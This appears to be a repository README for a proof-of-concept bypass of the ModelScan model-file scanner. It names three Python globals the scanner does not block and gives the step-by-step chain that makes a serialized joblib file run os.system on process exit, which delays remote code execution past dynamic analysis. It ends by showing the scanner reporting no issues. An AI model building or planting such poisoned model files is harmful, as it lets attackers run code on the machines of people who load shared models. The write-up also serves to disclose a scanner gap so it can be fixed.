xiaoyaoes/modelscan-atexit-bypass

ModelScan Atexit Delayed RCE Bypass

Registers an atexit handler that executes os.system when the Python process exits normally.

Bypass GLOBALs

• importlib.import_module — NOT blocked
• operator.methodcaller — NOT blocked
• atexit.register — NOT blocked

Mechanism

1. Import os via importlib.import_module('os')
2. Create operator.methodcaller('system', 'COMMAND')
3. Call atexit.register(methodcaller, os_module)
4. On script exit: methodcaller(os_module) = os.system('COMMAND') -> RCE

Stealth

The handler is registered but NOT executed immediately. RCE fires when the hosting script terminates naturally, bypassing dynamic analysis.

Verification

modelscan -p exploit_atexit.joblib
# -> "No issues found!"